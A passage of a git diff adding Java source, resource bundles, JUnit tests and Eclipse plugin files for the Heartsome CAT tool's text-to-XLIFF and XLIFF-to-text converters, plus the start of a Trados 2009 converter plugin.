else { + writeString("\n"); //$NON-NLS-1$ + } + writeString("
    \n"); //$NON-NLS-1$ + writeString(" \n"); //$NON-NLS-1$ + String crc = ""; //$NON-NLS-1$ + if (isSuite) { + crc = "crc=\"" + CRC16.crc16(TextUtil.cleanString(skeletonFile).getBytes("UTF-8")) + "\""; //$NON-NLS-1$ //$NON-NLS-2$ //$NON-NLS-3$ + } + writeString(" \n"); //$NON-NLS-1$ //$NON-NLS-2$ //$NON-NLS-3$ + writeString(" \n"); //$NON-NLS-1$ + writeString(" \n"); //$NON-NLS-1$ //$NON-NLS-2$ + writeString(" " + srcEncoding //$NON-NLS-1$ + + "\n"); //$NON-NLS-1$ + writeString("
    \n"); //$NON-NLS-1$ + writeString("\n"); //$NON-NLS-1$ + + skeleton = new FileOutputStream(skeletonFile); + + // fixed bug 479 by john. + // remarked breakOnCRLF validation. used the same implements + // with + // breakOnCRLF is true. + // if (breakOnCRLF) { + + // Fixed a bug 1609 by John. + while ((source = buffer.readLine()) != null) { + int size = source.getBytes(srcEncoding).length; + if (source.trim().length() == 0) { + writeSkeleton(source + "\n"); //$NON-NLS-1$ + } else { + writeSegment(); + } + if (monitor.isCanceled()) { + throw new OperationCanceledException(Messages.getString("text.Text2Xliff.msg1")); + } + if (size > 0) { + // 考虑加上æ¢è¡Œç¬¦çš„一个字节数 + int workedTask = cpb.calculateProcessed(size + 1); + if (workedTask > 0) { + monitor.worked(workedTask); + } + } + // source = buffer.readLine(); + } + // } else { + // String line = changeEncoding(buffer.readLine(), srcEncoding); + // while (line != null) { + // line = line + "\n"; //$NON-NLS-1$ + // + // if (line.trim().length() == 0) { + // // no text in this line + // // segment separator + // writeSkeleton(line); + // } else { + // while (line != null && line.trim().length() != 0) { + // source = source + line; + // line = changeEncoding(buffer.readLine(), srcEncoding); + // if (line != null) { + // line = line + "\n"; //$NON-NLS-1$ + // } + // } + // writeSegment(); + // } + // line = changeEncoding(buffer.readLine(), srcEncoding); + // } + // } + skeleton.close(); + + writeString("\n"); //$NON-NLS-1$ + writeString("
    \n"); //$NON-NLS-1$ + writeString("
    "); //$NON-NLS-1$ + input.close(); + output.close(); + + result.put(Converter.ATTR_XLIFF_FILE, xliffFile); + } catch (OperationCanceledException e) { + throw e; + } catch (Exception e) { + if (Converter.DEBUG_MODE) { + e.printStackTrace(); + } + + ConverterUtils.throwConverterException(Activator.PLUGIN_ID, Messages.getString("text.Text2Xliff.msg2"), + e); + } + } finally { + monitor.done(); + } + return result; + } + } +} \ No newline at end of file diff --git a/hsconverter/net.heartsome.cat.converter.text/src/net/heartsome/cat/converter/text/Xliff2Text.java b/hsconverter/net.heartsome.cat.converter.text/src/net/heartsome/cat/converter/text/Xliff2Text.java new file mode 100644 index 0000000..d72f66e --- /dev/null +++ b/hsconverter/net.heartsome.cat.converter.text/src/net/heartsome/cat/converter/text/Xliff2Text.java @@ -0,0 +1,342 @@ +/** + * Xliff2Text.java + * + * Version information : + * + * Date:Jan 14, 2010 + * + * Copyright notice : + */ + +package net.heartsome.cat.converter.text; + +import java.io.BufferedReader; +import java.io.FileInputStream; +import java.io.FileOutputStream; +import java.io.IOException; +import java.io.InputStreamReader; +import java.text.MessageFormat; +import java.util.HashMap; +import java.util.Hashtable; +import java.util.Iterator; +import java.util.List; +import java.util.Map; + +import net.heartsome.cat.converter.Converter; +import net.heartsome.cat.converter.ConverterException; +import net.heartsome.cat.converter.text.resource.Messages; +import net.heartsome.cat.converter.util.CalculateProcessedBytes; +import net.heartsome.cat.converter.util.ConverterUtils; +import net.heartsome.cat.converter.util.Progress; +import net.heartsome.cat.converter.util.ReverseConversionInfoLogRecord; +import net.heartsome.xml.Catalogue; +import net.heartsome.xml.Document; +import net.heartsome.xml.Element; +import net.heartsome.xml.SAXBuilder; + +import org.eclipse.core.runtime.IProgressMonitor; +import org.eclipse.core.runtime.OperationCanceledException; +import org.w3c.dom.Node; +import org.xml.sax.SAXException; + +/** + * The Class Xliff2Text. + * @author John Zhu + */ +public class Xliff2Text implements Converter { + + /** The Constant TYPE_VALUE. */ + public static final String TYPE_VALUE = "plaintext"; + + /** The Constant TYPE_NAME_VALUE. */ + public static final String TYPE_NAME_VALUE = Messages.getString("text.TYPE_NAME_VALUE"); + + /** The Constant NAME_VALUE. */ + public static final String NAME_VALUE = "XLIFF to Text Conveter"; + + /** + * (non-Javadoc) + * @see net.heartsome.cat.converter.Converter#convert(java.util.Map, org.eclipse.core.runtime.IProgressMonitor) + * @param args + * @param monitor + * @return + * @throws ConverterException + */ + public Map convert(Map args, IProgressMonitor monitor) throws ConverterException { + Xliff2TextImpl converter = new Xliff2TextImpl(); + return converter.run(args, monitor); + } + + /** + * (non-Javadoc) + * @see net.heartsome.cat.converter.Converter#getName() + * @return + */ + public String getName() { + return NAME_VALUE; + } + + /** + * (non-Javadoc) + * @see net.heartsome.cat.converter.Converter#getType() + * @return + */ + public String getType() { + return TYPE_VALUE; + } + + /** + * (non-Javadoc) + * @see net.heartsome.cat.converter.Converter#getTypeName() + * @return + */ + public String getTypeName() { + return TYPE_NAME_VALUE; + } + + /** + * The Class Xliff2TextImpl. + * @author John Zhu + * @version + * @since JDK1.6 + */ + class Xliff2TextImpl { + + private static final String UTF_8 = "UTF-8"; + + /** The skl file. */ + private String sklFile; + + /** The xliff file. */ + private String xliffFile; + + /** The encoding. */ + private String encoding; + + /** The segments. */ + private Hashtable segments; + + /** The catalogue. */ + private Catalogue catalogue; + + /** The output. */ + private FileOutputStream output; + + /** The input. */ + private InputStreamReader input; + + /** The buffer. */ + private BufferedReader buffer; + + /** The line. */ + private String line; + + /** + * Run. + * @param params + * the params + * @param monitor + * the monitor + * @return the map< string, string> + * @throws ConverterException + * the converter exception + */ + public Map run(Map params, IProgressMonitor monitor) throws ConverterException { + monitor = Progress.getMonitor(monitor); + ReverseConversionInfoLogRecord infoLogger = ConverterUtils.getReverseConversionInfoLogRecord(); + infoLogger.startConversion(); + Map result = new HashMap(); + + sklFile = params.get(Converter.ATTR_SKELETON_FILE); + xliffFile = params.get(Converter.ATTR_XLIFF_FILE); + encoding = params.get(Converter.ATTR_SOURCE_ENCODING); + String catalogueFile = params.get(Converter.ATTR_CATALOGUE); + + String attrIsPreviewMode = params.get(Converter.ATTR_IS_PREVIEW_MODE); + /* 是å¦ä¸ºé¢„è§ˆç¿»è¯‘æ¨¡å¼ */ + boolean isPreviewMode = attrIsPreviewMode != null && attrIsPreviewMode.equals(Converter.TRUE); + + try { + infoLogger.logConversionFileInfo(catalogueFile, null, xliffFile, sklFile); + // 把转æ¢è¿‡ç¨‹åˆ†ä¸ºä¸‰å¤§éƒ¨åˆ†å…± 10 个任,其中加载 catalogue å  3,加载 xliff æ–‡ä»¶å  3,替æ¢å  4。 + monitor.beginTask("", 10); + monitor.subTask(Messages.getString("text.Xliff2Text.task2")); + infoLogger.startLoadingCatalogueFile(); + if (catalogueFile != null) { + catalogue = new Catalogue(catalogueFile); + } + infoLogger.endLoadingXliffFile(); + monitor.worked(3); + // 是å¦å–消 + if (monitor.isCanceled()) { + throw new OperationCanceledException(Messages.getString("text.cancel")); + } + + monitor.subTask(Messages.getString("text.Xliff2Text.task3")); + infoLogger.startLoadingXliffFile(); + String outputFile = params.get(Converter.ATTR_TARGET_FILE); + output = new FileOutputStream(outputFile); + loadSegments(); + infoLogger.endLoadingXliffFile(); + monitor.worked(3); + // 是å¦å–消æ“作 + if (monitor.isCanceled()) { + throw new OperationCanceledException(Messages.getString("text.cancel")); + } + IProgressMonitor replaceMonitor = Progress.getSubMonitor(monitor, 4); + try { + infoLogger.startReplacingSegmentSymbol(); + CalculateProcessedBytes cpb = ConverterUtils.getCalculateProcessedBytes(sklFile); + replaceMonitor.beginTask(Messages.getString("text.Xliff2Text.task4"), cpb.getTotalTask()); + replaceMonitor.subTask(""); + input = new InputStreamReader(new FileInputStream(sklFile), UTF_8); //$NON-NLS-1$ + buffer = new BufferedReader(input); + line = buffer.readLine(); + while (line != null) { + // 是å¦å–消æ“作 + if (replaceMonitor.isCanceled()) { + throw new OperationCanceledException(Messages.getString("text.cancel")); + } + cpb.calculateProcessed(replaceMonitor, line, UTF_8); + + line = line + "\n"; //$NON-NLS-1$ + + if (line.indexOf("%%%") != -1) { //$NON-NLS-1$ + // + // contains translatable text + // + int index = line.indexOf("%%%"); //$NON-NLS-1$ + while (index != -1) { + String start = line.substring(0, index); + writeString(start); + line = line.substring(index + 3); + String code = line.substring(0, line.indexOf("%%%")); //$NON-NLS-1$ + line = line.substring(line.indexOf("%%%") + 3); //$NON-NLS-1$ + Element segment = segments.get(code); + if (segment != null) { + Element target = segment.getChild("target"); //$NON-NLS-1$ + Element source = segment.getChild("source"); //$NON-NLS-1$ + if (target != null) { + String tgtStr = extractText(target); + if (isPreviewMode || !"".equals(tgtStr.trim())) { + if (isPreviewMode) { + if ("".equals(tgtStr.trim())) { + writeString(extractText(source)); + } else { + writeString(tgtStr); + } + } else { + writeString(tgtStr); + } + } else { + writeString(extractText(source)); + } + } else { + writeString(extractText(source)); + } + } else { + MessageFormat mf = new MessageFormat(Messages.getString("text.Xliff2Text.msg0")); //$NON-NLS-1$ + Object[] args = new Object[] { code }; + ConverterUtils.throwConverterException(Activator.PLUGIN_ID, mf.format(args)); + } + + index = line.indexOf("%%%"); //$NON-NLS-1$ + if (index == -1) { + writeString(line); + } + } // end while + } else { + // + // non translatable portion + // + writeString(line); + } + + line = buffer.readLine(); + } + } finally { + replaceMonitor.done(); + } + infoLogger.endReplacingSegmentSymbol(); + + output.close(); + result.put(Converter.ATTR_TARGET_FILE, outputFile); + infoLogger.endConversion(); + } catch (Exception e) { + if (Converter.DEBUG_MODE) { + e.printStackTrace(); + } + ConverterUtils.throwConverterException(Activator.PLUGIN_ID, Messages.getString("text.Xliff2Text.msg1"), e); + } finally { + monitor.done(); + } + return result; + } + + /** + * Extract text. + * @param target + * the target + * @return the string + */ + private String extractText(Element target) { + String result = ""; //$NON-NLS-1$ + List content = target.getContent(); + Iterator i = content.iterator(); + while (i.hasNext()) { + Node n = i.next(); + switch (n.getNodeType()) { + case Node.ELEMENT_NODE: + Element e = new Element(n); + result = result + extractText(e); + break; + case Node.TEXT_NODE: + result = result + n.getNodeValue(); + break; + default: + break; + } + } + return result; + } + + /** + * Load segments. + * @throws SAXException + * the SAX exception + * @throws IOException + * Signals that an I/O exception has occurred. + */ + private void loadSegments() throws SAXException, IOException { + + SAXBuilder builder = new SAXBuilder(); + if (catalogue != null) { + builder.setEntityResolver(catalogue); + } + + Document doc = builder.build(xliffFile); + Element root = doc.getRootElement(); + Element body = root.getChild("file").getChild("body"); //$NON-NLS-1$ //$NON-NLS-2$ + List units = body.getChildren("trans-unit"); //$NON-NLS-1$ + Iterator i = units.iterator(); + + segments = new Hashtable(); + + while (i.hasNext()) { + Element unit = i.next(); + segments.put(unit.getAttributeValue("id"), unit); //$NON-NLS-1$ + } + } + + /** + * Write string. + * @param string + * the string + * @throws IOException + * Signals that an I/O exception has occurred. + */ + private void writeString(String string) throws IOException { + output.write((string.replaceAll("\n", System.getProperty("line.separator"))).getBytes(encoding)); + } + } +} diff --git a/hsconverter/net.heartsome.cat.converter.text/src/net/heartsome/cat/converter/text/resource/Messages.java b/hsconverter/net.heartsome.cat.converter.text/src/net/heartsome/cat/converter/text/resource/Messages.java new file mode 100644 index 0000000..37b04e4 --- /dev/null +++ b/hsconverter/net.heartsome.cat.converter.text/src/net/heartsome/cat/converter/text/resource/Messages.java @@ -0,0 +1,48 @@ +/** + * Messages.java + * + * Version information : + * + * Date:Jan 14, 2010 + * + * Copyright notice : + */ +package net.heartsome.cat.converter.text.resource; + +import java.util.MissingResourceException; +import java.util.ResourceBundle; + +/** + * The Class Messages. + * @author John Zhu + * @version + * @since JDK1.6 + */ +public final class Messages { + + /** The Constant BUNDLE_NAME. */ + private static final String BUNDLE_NAME = "net.heartsome.cat.converter.text.resource.message"; //$NON-NLS-1$ + + /** The Constant RESOURCE_BUNDLE. */ + private static final ResourceBundle RESOURCE_BUNDLE = ResourceBundle.getBundle(BUNDLE_NAME); + + /** + * Instantiates a new messages. + */ + private Messages() { + } + + /** + * Gets the string. + * @param key + * the key + * @return the string + */ + public static String getString(String key) { + try { + return RESOURCE_BUNDLE.getString(key); + } catch (MissingResourceException e) { + return '!' + key + '!'; + } + } +} diff --git a/hsconverter/net.heartsome.cat.converter.text/src/net/heartsome/cat/converter/text/resource/message.properties b/hsconverter/net.heartsome.cat.converter.text/src/net/heartsome/cat/converter/text/resource/message.properties new file mode 100644 index 0000000..c45c323 --- /dev/null +++ b/hsconverter/net.heartsome.cat.converter.text/src/net/heartsome/cat/converter/text/resource/message.properties @@ -0,0 +1,16 @@ +text.Text2Xliff.task1 = \u6b63\u5728\u8f6c\u6362... +text.Text2Xliff.msg1 = \u6b63\u5728\u53d6\u6d88\u8f6c\u6362... +text.Text2Xliff.msg2 = \u6587\u672c\u6587\u4ef6\u8f6c\u6362 XLIFF \u5931\u8d25\uff0c\u8bf7\u91cd\u8bd5\u3002 + +text.Xliff2Text.msg0 = \u65e0\u6cd5\u627e\u5230\u6587\u672c\u6bb5 {0}\uff0c\u8be5 XLIFF \u6587\u4ef6\u53ef\u80fd\u5df2\u7ecf\u53d7\u635f\uff0c\u8bf7\u5c1d\u8bd5\u6309\u5982\u4e0b\u6b65\u9aa4\u4fee\u590d\uff1a\n1. \u5c06\u8be5 XLIFF \u6587\u4ef6\u4e2d\u7684\u6240\u6709\u6587\u672c\u6bb5\u5165\u5e93\uff1b\n2. \u5907\u4efd\u8be5 XLIFF \u6587\u4ef6\uff08\u76f4\u63a5\u590d\u5236 XLIFF \u6587\u4ef6\u5939\u6216\u5bfc\u51fa\u6574\u4e2a\u9879\u76ee\uff09\uff1b\n3. \u91cd\u65b0\u8f6c\u6362\u6e90\u6587\u4ef6\u4e3a XLIFF\u3001\u5e76\u9884\u7ffb\u8bd1\uff1b\n4. \u7528\u4e0a\u4e00\u6b65\u5f97\u5230\u7684 XLIFF \u6587\u4ef6\u518d\u6b21\u91cd\u8bd5\u6b64\u6b21\u8f6c\u6362\u3002 +text.Xliff2Text.msg1 = XLIFF \u8f6c\u6362\u6587\u672c\u6587\u4ef6\u5931\u8d25\uff0c\u8bf7\u91cd\u8bd5\u3002 +#text.Xliff2Text.task1 = \u6b63\u5728\u8f6c\u6362... +text.Xliff2Text.task2 = \u6b63\u5728\u52a0\u8f7d catalogue \u6587\u4ef6... +text.Xliff2Text.task3 = \u6b63\u5728\u52a0\u8f7d XLIFF \u6587\u4ef6... +text.Xliff2Text.task4 = \u6b63\u5728\u66ff\u6362\u9aa8\u67b6\u6587\u4ef6\u4e2d\u7684\u6587\u672c\u6bb5\u6807\u8bc6\u7b26... + +########################## 2012-08-08 \u6dfb\u52a0 ########################################### +text.TYPE_NAME_VALUE = \u6587\u672c\u6587\u4ef6 (TXT) + +text.Text2Xliff.addTip1 = \u6587\u4ef6 {0} \u4e3a\u7a7a\uff0c\u8f6c\u6362\u5931\u8d25\u3002\u8bf7\u91cd\u65b0\u9009\u62e9\u975e\u7a7a\u6587\u4ef6\u3002 +text.cancel = \u9000\u51fa\u8f6c\u6362 \ No newline at end of file diff --git a/hsconverter/net.heartsome.cat.converter.text/src/net/heartsome/cat/converter/text/resource/message_en.properties b/hsconverter/net.heartsome.cat.converter.text/src/net/heartsome/cat/converter/text/resource/message_en.properties new file mode 100644 index 0000000..ed4eb10 --- /dev/null +++ b/hsconverter/net.heartsome.cat.converter.text/src/net/heartsome/cat/converter/text/resource/message_en.properties @@ -0,0 +1,16 @@ +text.Text2Xliff.task1 = Converting... +text.Text2Xliff.msg1 = Canceling conversion... +text.Text2Xliff.msg2 = Failed to convert Text file to XLIFF. Please try again. + +text.Xliff2Text.msg0 = Can't find segment {0}. The XLIFF file might be demaged. Please follow the steps below to repair it:\n1. Send all segments of the XLIFF to TM;\n2. Backup the XLIFF file (directly copy the XLIFF file folders or export the entire project);\n3. Re-convert source file to XLIFF, and pre-translate these XLIFF files;\n4. Take XLIFF files from previous step to retry the conversion. +text.Xliff2Text.msg1 = Failed to convert XLIFF to Text file. Please try again. +#text.Xliff2Text.task1 = \u6b63\u5728\u8f6c\u6362... +text.Xliff2Text.task2 = Loading catalogue files... +text.Xliff2Text.task3 = Loading XLIFF files... +text.Xliff2Text.task4 = Replacing segment identifiers in the skeleton file.... + +########################## 2012-08-08 \u6dfb\u52a0 ########################################### +text.TYPE_NAME_VALUE = Text (TXT) + +text.Text2Xliff.addTip1 = Conversion failed, file {0} is empty.Please re-select non-emplty files. +text.cancel = Exit conversion \ No newline at end of file diff --git a/hsconverter/net.heartsome.cat.converter.text/src/net/heartsome/cat/converter/text/resource/message_zh.properties b/hsconverter/net.heartsome.cat.converter.text/src/net/heartsome/cat/converter/text/resource/message_zh.properties new file mode 100644 index 0000000..c45c323 --- /dev/null +++ b/hsconverter/net.heartsome.cat.converter.text/src/net/heartsome/cat/converter/text/resource/message_zh.properties @@ -0,0 +1,16 @@ +text.Text2Xliff.task1 = \u6b63\u5728\u8f6c\u6362... +text.Text2Xliff.msg1 = \u6b63\u5728\u53d6\u6d88\u8f6c\u6362... +text.Text2Xliff.msg2 = \u6587\u672c\u6587\u4ef6\u8f6c\u6362 XLIFF \u5931\u8d25\uff0c\u8bf7\u91cd\u8bd5\u3002 + +text.Xliff2Text.msg0 = \u65e0\u6cd5\u627e\u5230\u6587\u672c\u6bb5 {0}\uff0c\u8be5 XLIFF \u6587\u4ef6\u53ef\u80fd\u5df2\u7ecf\u53d7\u635f\uff0c\u8bf7\u5c1d\u8bd5\u6309\u5982\u4e0b\u6b65\u9aa4\u4fee\u590d\uff1a\n1. \u5c06\u8be5 XLIFF \u6587\u4ef6\u4e2d\u7684\u6240\u6709\u6587\u672c\u6bb5\u5165\u5e93\uff1b\n2. \u5907\u4efd\u8be5 XLIFF \u6587\u4ef6\uff08\u76f4\u63a5\u590d\u5236 XLIFF \u6587\u4ef6\u5939\u6216\u5bfc\u51fa\u6574\u4e2a\u9879\u76ee\uff09\uff1b\n3. \u91cd\u65b0\u8f6c\u6362\u6e90\u6587\u4ef6\u4e3a XLIFF\u3001\u5e76\u9884\u7ffb\u8bd1\uff1b\n4. \u7528\u4e0a\u4e00\u6b65\u5f97\u5230\u7684 XLIFF \u6587\u4ef6\u518d\u6b21\u91cd\u8bd5\u6b64\u6b21\u8f6c\u6362\u3002 +text.Xliff2Text.msg1 = XLIFF \u8f6c\u6362\u6587\u672c\u6587\u4ef6\u5931\u8d25\uff0c\u8bf7\u91cd\u8bd5\u3002 +#text.Xliff2Text.task1 = \u6b63\u5728\u8f6c\u6362... +text.Xliff2Text.task2 = \u6b63\u5728\u52a0\u8f7d catalogue \u6587\u4ef6... +text.Xliff2Text.task3 = \u6b63\u5728\u52a0\u8f7d XLIFF \u6587\u4ef6... +text.Xliff2Text.task4 = \u6b63\u5728\u66ff\u6362\u9aa8\u67b6\u6587\u4ef6\u4e2d\u7684\u6587\u672c\u6bb5\u6807\u8bc6\u7b26... + +########################## 2012-08-08 \u6dfb\u52a0 ########################################### +text.TYPE_NAME_VALUE = \u6587\u672c\u6587\u4ef6 (TXT) + +text.Text2Xliff.addTip1 = \u6587\u4ef6 {0} \u4e3a\u7a7a\uff0c\u8f6c\u6362\u5931\u8d25\u3002\u8bf7\u91cd\u65b0\u9009\u62e9\u975e\u7a7a\u6587\u4ef6\u3002 +text.cancel = \u9000\u51fa\u8f6c\u6362 \ No newline at end of file diff --git a/hsconverter/net.heartsome.cat.converter.text/testSrc/net/heartsome/cat/converter/text/test/Text2XliffTest.java b/hsconverter/net.heartsome.cat.converter.text/testSrc/net/heartsome/cat/converter/text/test/Text2XliffTest.java new file mode 100644 index 0000000..54cca1c --- /dev/null +++ b/hsconverter/net.heartsome.cat.converter.text/testSrc/net/heartsome/cat/converter/text/test/Text2XliffTest.java @@ -0,0 +1,103 @@ +package net.heartsome.cat.converter.text.test; + +import static org.junit.Assert.assertNotNull; +import static org.junit.Assert.assertTrue; + +import java.io.File; +import java.util.HashMap; +import java.util.Map; + +import net.heartsome.cat.converter.Converter; +import net.heartsome.cat.converter.ConverterException; +import net.heartsome.cat.converter.text.Text2Xliff; + +import org.junit.AfterClass; +import org.junit.Before; +import org.junit.Test; + +public class Text2XliffTest { + private static Text2Xliff converter = new Text2Xliff(); + private static String srcFile = "rc/Test.txt"; + private static String sklFile = "rc/Test.txt.skl"; + private static String xlfFile = "rc/Test.txt.xlf"; + + @Before + public void setUp() { + File skl = new File(sklFile); + if (skl.exists()) { + skl.delete(); + } + + File xlf = new File(xlfFile); + if (xlf.exists()) { + xlf.delete(); + } + } + + @Test(expected = ConverterException.class) + public void testConvertMissingCatalog() throws ConverterException { + String rootFolder = "/data/john/Workspaces/CAT/HSTS7/"; + Map args = new HashMap(); + args.put(Converter.ATTR_SOURCE_FILE, srcFile); //$NON-NLS-1$ + args.put(Converter.ATTR_XLIFF_FILE, xlfFile); //$NON-NLS-1$ + args.put(Converter.ATTR_SKELETON_FILE, sklFile); //$NON-NLS-1$ + args.put(Converter.ATTR_SOURCE_LANGUAGE, "en-US"); //$NON-NLS-1$ + args.put(Converter.ATTR_SOURCE_ENCODING, "UTF-8"); //$NON-NLS-1$ + // args.put(Converter.ATTR_CATALOGUE, rootFolder + + // "catalogue/catalogue.xml"); + args.put(Converter.ATTR_SRX, rootFolder + "srx/default_rules.srx"); + + Map result = converter.convert(args, null); + String xliff = result.get(Converter.ATTR_XLIFF_FILE); + assertNotNull(xliff); + + File xlfFile = new File(xliff); + assertNotNull(xlfFile); + assertTrue(xlfFile.exists()); + } + + @Test(expected = ConverterException.class) + public void testConvertMissingSRX() throws ConverterException { + String rootFolder = "/data/john/Workspaces/CAT/HSTS7/"; + Map args = new HashMap(); + args.put(Converter.ATTR_SOURCE_FILE, srcFile); //$NON-NLS-1$ + args.put(Converter.ATTR_XLIFF_FILE, xlfFile); //$NON-NLS-1$ + args.put(Converter.ATTR_SKELETON_FILE, sklFile); //$NON-NLS-1$ + args.put(Converter.ATTR_SOURCE_LANGUAGE, "en-US"); //$NON-NLS-1$ + args.put(Converter.ATTR_SOURCE_ENCODING, "UTF-8"); //$NON-NLS-1$ + args.put(Converter.ATTR_CATALOGUE, rootFolder + + "catalogue/catalogue.xml"); + // args.put(Converter.ATTR_SRX, rootFolder + "srx/default_rules.srx"); + + Map result = converter.convert(args, null); + String xliff = result.get(Converter.ATTR_XLIFF_FILE); + assertNotNull(xliff); + + File xlfFile = new File(xliff); + assertNotNull(xlfFile); + assertTrue(xlfFile.exists()); + } + + @AfterClass + public static void testConvert() throws ConverterException { + String rootFolder = "/data/john/Workspaces/CAT/HSTS7/"; + Map args = new HashMap(); + args.put(Converter.ATTR_SOURCE_FILE, srcFile); //$NON-NLS-1$ + args.put(Converter.ATTR_XLIFF_FILE, xlfFile); //$NON-NLS-1$ + args.put(Converter.ATTR_SKELETON_FILE, sklFile); //$NON-NLS-1$ + args.put(Converter.ATTR_SOURCE_LANGUAGE, "en-US"); //$NON-NLS-1$ + args.put(Converter.ATTR_SOURCE_ENCODING, "UTF-8"); //$NON-NLS-1$ + args.put(Converter.ATTR_CATALOGUE, rootFolder + + "catalogue/catalogue.xml"); + args.put(Converter.ATTR_SRX, rootFolder + "srx/default_rules.srx"); + + Map result = converter.convert(args, null); + String xliff = result.get(Converter.ATTR_XLIFF_FILE); + assertNotNull(xliff); + + File xlfFile = new File(xliff); + assertNotNull(xlfFile); + assertTrue(xlfFile.exists()); + } + +} diff --git a/hsconverter/net.heartsome.cat.converter.text/testSrc/net/heartsome/cat/converter/text/test/Xliff2TextTest.java b/hsconverter/net.heartsome.cat.converter.text/testSrc/net/heartsome/cat/converter/text/test/Xliff2TextTest.java new file mode 100644 index 0000000..c719a2f --- /dev/null +++ b/hsconverter/net.heartsome.cat.converter.text/testSrc/net/heartsome/cat/converter/text/test/Xliff2TextTest.java @@ -0,0 +1,52 @@ +package net.heartsome.cat.converter.text.test; + +import static org.junit.Assert.*; + +import java.io.File; +import java.util.HashMap; +import java.util.Map; + +import net.heartsome.cat.converter.Converter; +import net.heartsome.cat.converter.ConverterException; +import net.heartsome.cat.converter.text.Xliff2Text; + +import org.junit.Before; +import org.junit.Test; + +public class Xliff2TextTest { + public static Xliff2Text converter = new Xliff2Text(); + private static String tgtFile = "rc/Test_zh-CN.txt"; + private static String sklFile = "rc/Test.txt.skl"; + private static String xlfFile = "rc/Test.txt.xlf"; + + @Before + public void setUp(){ + File tgt = new File(tgtFile); + if(tgt.exists()){ + tgt.delete(); + } + } + + @Test + public void testConvert() throws ConverterException { + String rootFolder = "/data/john/Workspaces/CAT/HSTS7/"; + Map args = new HashMap(); + args.put(Converter.ATTR_TARGET_FILE, tgtFile); //$NON-NLS-1$ + args.put(Converter.ATTR_XLIFF_FILE, xlfFile); //$NON-NLS-1$ + args.put(Converter.ATTR_SKELETON_FILE, sklFile); //$NON-NLS-1$ + // args.put(Converter.ATTR_SOURCE_LANGUAGE, "en-US"); //$NON-NLS-1$ + args.put(Converter.ATTR_SOURCE_ENCODING, "UTF-8"); //$NON-NLS-1$ + args.put(Converter.ATTR_CATALOGUE, rootFolder + + "catalogue/catalogue.xml"); + // args.put(Converter.ATTR_SRX, rootFolder + "srx/default_rules.srx"); + + Map result = converter.convert(args, null); + String target = result.get(Converter.ATTR_TARGET_FILE); + assertNotNull(target); + + File tgtFile = new File(target); + assertNotNull(tgtFile); + assertTrue(tgtFile.exists()); + } + +} diff --git a/hsconverter/net.heartsome.cat.converter.trados2009/.classpath b/hsconverter/net.heartsome.cat.converter.trados2009/.classpath new file mode 100644 index 0000000..64c5e31 --- /dev/null +++ b/hsconverter/net.heartsome.cat.converter.trados2009/.classpath @@ -0,0 +1,7 @@ + + + + + + + diff --git a/hsconverter/net.heartsome.cat.converter.trados2009/.project b/hsconverter/net.heartsome.cat.converter.trados2009/.project new file mode 100644 index 0000000..f39ae9b --- /dev/null +++ b/hsconverter/net.heartsome.cat.converter.trados2009/.project @@ -0,0 +1,28 @@ + + + net.heartsome.cat.converter.trados2009 + + + + + + org.eclipse.jdt.core.javabuilder + + + + + org.eclipse.pde.ManifestBuilder + + + + + org.eclipse.pde.SchemaBuilder + + + + + + org.eclipse.pde.PluginNature + org.eclipse.jdt.core.javanature + + diff --git a/hsconverter/net.heartsome.cat.converter.trados2009/.settings/org.eclipse.jdt.core.prefs b/hsconverter/net.heartsome.cat.converter.trados2009/.settings/org.eclipse.jdt.core.prefs new file mode 100644 index 0000000..af0f20f --- /dev/null +++ b/hsconverter/net.heartsome.cat.converter.trados2009/.settings/org.eclipse.jdt.core.prefs @@ -0,0 +1,7 @@ +eclipse.preferences.version=1 +org.eclipse.jdt.core.compiler.codegen.inlineJsrBytecode=enabled +org.eclipse.jdt.core.compiler.codegen.targetPlatform=1.5 +org.eclipse.jdt.core.compiler.compliance=1.5 +org.eclipse.jdt.core.compiler.problem.assertIdentifier=error +org.eclipse.jdt.core.compiler.problem.enumIdentifier=error +org.eclipse.jdt.core.compiler.source=1.5 diff --git a/hsconverter/net.heartsome.cat.converter.trados2009/META-INF/MANIFEST.MF b/hsconverter/net.heartsome.cat.converter.trados2009/META-INF/MANIFEST.MF new file mode 100644 index 0000000..4e4a053 --- /dev/null +++ b/hsconverter/net.heartsome.cat.converter.trados2009/META-INF/MANIFEST.MF @@ -0,0 +1,15 @@ +Manifest-Version: 1.0 +Bundle-ManifestVersion: 2 +Bundle-Name: Heartsome CAT Converter SDLXLIFF +Bundle-SymbolicName: net.heartsome.cat.converter.trados2009 +Bundle-Version: 8.0.1.R8b_v20130408 +Bundle-Activator: net.heartsome.cat.converter.trados2009.Activator +Require-Bundle: net.heartsome.cat.converter;bundle-version="1.0.0", + net.heartsome.xml;bundle-version="1.0.0", + net.heartsome.cat.common.core;bundle-version="1.0.0" +Bundle-ActivationPolicy: lazy +Bundle-RequiredExecutionEnvironment: J2SE-1.5 +Import-Package: org.eclipse.core.runtime;version="3.4.0", + org.eclipse.jface.dialogs, + org.osgi.framework;version="1.6.0" +Bundle-Vendor: Heartsome Technologies Ltd. diff --git a/hsconverter/net.heartsome.cat.converter.trados2009/build.properties b/hsconverter/net.heartsome.cat.converter.trados2009/build.properties new file mode 100644 index 0000000..7aaf591 --- /dev/null +++ b/hsconverter/net.heartsome.cat.converter.trados2009/build.properties @@ -0,0 +1,5 @@ +javacDefaultEncoding.. = UTF-8 +source.. = src/ +output.. = bin/ +bin.includes = META-INF/,\ + . diff --git a/hsconverter/net.heartsome.cat.converter.trados2009/src/net/heartsome/cat/converter/trados2009/Activator.java b/hsconverter/net.heartsome.cat.converter.trados2009/src/net/heartsome/cat/converter/trados2009/Activator.java new file mode 100644 index 0000000..405f158 --- /dev/null +++ b/hsconverter/net.heartsome.cat.converter.trados2009/src/net/heartsome/cat/converter/trados2009/Activator.java @@ -0,0 +1,83 @@ +package net.heartsome.cat.converter.trados2009; + +import java.util.Properties; + +import net.heartsome.cat.converter.Converter; +import net.heartsome.cat.converter.util.ConverterRegister; + +import org.osgi.framework.BundleActivator; +import org.osgi.framework.BundleContext; +import org.osgi.framework.ServiceRegistration; + +/** + * The activator class controls the plug-in life cycle + * trados 2009 转æ¢å™¨çš„ Activator。 --robert 2012-06-27 + */ +public class Activator implements BundleActivator { + + // The plug-in ID + public static final String PLUGIN_ID = "net.heartsome.cat.converter.trados2009"; //$NON-NLS-1$ + + // The shared instance + private static Activator plugin; + /** trados 2009文件转æ¢è‡³xliff文件的æœåŠ¡æ³¨å†Œå™¨ */ +// @SuppressWarnings("rawtypes") + private ServiceRegistration sdl2XliffSR; + /** 